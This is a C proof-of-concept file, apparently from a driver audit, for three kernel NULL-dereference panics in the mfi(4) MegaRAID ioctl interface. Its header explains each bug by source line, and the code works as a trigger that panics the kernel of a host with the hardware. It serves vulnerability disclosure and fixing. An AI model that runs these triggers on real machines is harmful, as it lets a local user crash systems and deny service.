/*
 * DF-3871 / DF-3872 / DF-3873 PoC: mfi(4) user-triggerable kernel NULL derefs
 * via the management ioctl surface (/dev/mfiN, mode 0640 root:operator).
 *
 * Trigger 1 (DF-3871): MFI_CMD with mfi_adapter_no >= number of adapters.
 *   mfi.c:2954-2958: sc = devclass_get_softc(devclass, adapter);  // NULL
 *   no NULL check -> lockmgr(&sc->mfi_io_lock, ...) -> write near NULL -> panic.
 *   (The Linux shim at mfi.c:3146-3147 *does* check; the native path doesn't.)
 *
 * Trigger 2 (DF-3872): MFI_CMD with frame cmd=MFI_CMD_DCMD,
 *   opcode=MFI_DCMD_CFG_ADD (0x04020000), data_len=0 and no DATAIN/DATAOUT.
 *   cm->cm_data == NULL (mfi.c:2996-3002), then mfi_check_for_sscd()
 *   (mfi.c:2679,2684-2685) evaluates conf_data->ld[0].params.isSSCD on NULL
 *   (offset ~2.5 KB into the struct) -> kernel read at NULL+~2.5K -> panic.
 *
 * Trigger 3 (DF-3873): MFI_CMD with the ioctl arg itself unmapped.
 *   mfi_ioctl dereferences the user arg directly (no copyin), e.g.
 *   mfi.c:2950 ioc->mfi_adapter_no / mfi.c:2973 bcopy(ioc->mfi_frame.raw,...).
 *   An unmapped user address -> kernel-mode fault on user VA with
 *   pcb_onfault == NULL -> trap_fatal "Fatal user address access from kernel
 *   mode" -> panic (sys/platform/pc64/x86_64/trap.c:905-925).
 *
 * On hosts WITHOUT an LSI MegaRAID (like the audit guest) open() fails with
 * ENOENT and none of the kernel paths are reachable: hardware-gated.
 */
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>

/* ---- verbatim from sys/dev/raid/mfi/mfi_ioctl.h / mfireg.h ---- */
struct iovec_x { void *iov_base; size_t iov_len; };
struct mfi_ioc_packet_x {
	uint16_t mfi_adapter_no;
	uint16_t mfi_pad1;
	uint32_t mfi_sgl_off;
	uint32_t mfi_sge_count;
	uint32_t mfi_sense_off;
	uint32_t mfi_sense_len;
	union {
		uint8_t raw[128];
		struct {
			uint8_t  cmd;
			uint8_t  sense_len;
			uint8_t  cmd_status;
			uint8_t  scsi_status;
			uint8_t  target_id;
			uint8_t  lun_id;
			uint8_t  cdb_len;
			uint8_t  sg_count;
			uint32_t flags;
			uint32_t data_len;
			uint32_t context;
			uint16_t pad0;
			uint16_t timeout;
			uint32_t data_xfer_len;
			uint32_t opcode;	/* dcmd opcode at raw offset 0x20 */
		} hdr;
	} mfi_frame;
	struct iovec_x mfi_sgl[16];
} __attribute__((packed));

#define MFI_CMD_IOCTL    _IOWR('M', 1, struct mfi_ioc_packet_x)
#define MFI_CMD_DCMD     0x05
#define MFI_DCMD_CFG_ADD 0x04020000u

static void trigger1(int fd)
{
	struct mfi_ioc_packet_x ioc;
	memset(&ioc, 0, sizeof(ioc));
	ioc.mfi_adapter_no = 0x7fff;	/* any value >= #adapters */
	printf("[T1] MFI_CMD mfi_adapter_no=%u -> devclass_get_softc NULL -> "
	       "lockmgr(&sc->mfi_io_lock) on NULL\n", ioc.mfi_adapter_no);
	int r = ioctl(fd, MFI_CMD_IOCTL, &ioc);
	printf("[T1] ioctl returned %d errno=%d (on real HW: kernel panics here)\n",
	       r, errno);
}

static void trigger2(int fd)
{
	struct mfi_ioc_packet_x ioc;
	memset(&ioc, 0, sizeof(ioc));
	ioc.mfi_adapter_no = 0;
	ioc.mfi_frame.hdr.cmd = MFI_CMD_DCMD;
	ioc.mfi_frame.hdr.opcode = MFI_DCMD_CFG_ADD;
	/* data_len 0, flags 0 -> cm_data = NULL at mfi.c:2996-3002 */
	printf("[T2] MFI_CMD DCMD CFG_ADD data_len=0 -> cm_data NULL -> "
	       "mfi_check_for_sscd reads conf_data->ld[0].params.isSSCD at "
	       "NULL+~2.5K\n");
	int r = ioctl(fd, MFI_CMD_IOCTL, &ioc);
	printf("[T2] ioctl returned %d errno=%d (on real HW: kernel panics here)\n",
	       r, errno);
}

int main(void)
{
	const char *devs[] = { "/dev/mfi0", "/dev/megaraid_sas_ioctl_node", NULL };
	int fd = -1;
	for (int i = 0; devs[i]; i++) {
		fd = open(devs[i], O_RDWR);
		if (fd >= 0) { printf("opened %s\n", devs[i]); break; }
		printf("open(%s): %s\n", devs[i], strerror(errno));
	}
	if (fd < 0) {
		printf("NO MegaRAID CONTROLLER PRESENT: kernel paths are "
		       "hardware-gated and cannot be exercised on this host.\n");
		return 2;
	}
	trigger1(fd);
	trigger2(fd);
	/* DF-3873: unmapped arg pointer. Deliberately last: panics on real HW. */
	printf("[T3] MFI_CMD with unmapped arg (kernel bcopy from user ptr, no copyin)\n");
	int r = ioctl(fd, MFI_CMD_IOCTL, (void *)0x515100001000UL);
	printf("[T3] ioctl returned %d errno=%d (on real HW: trap_fatal panic)\n", r, errno);
	close(fd);
	return 0;
}
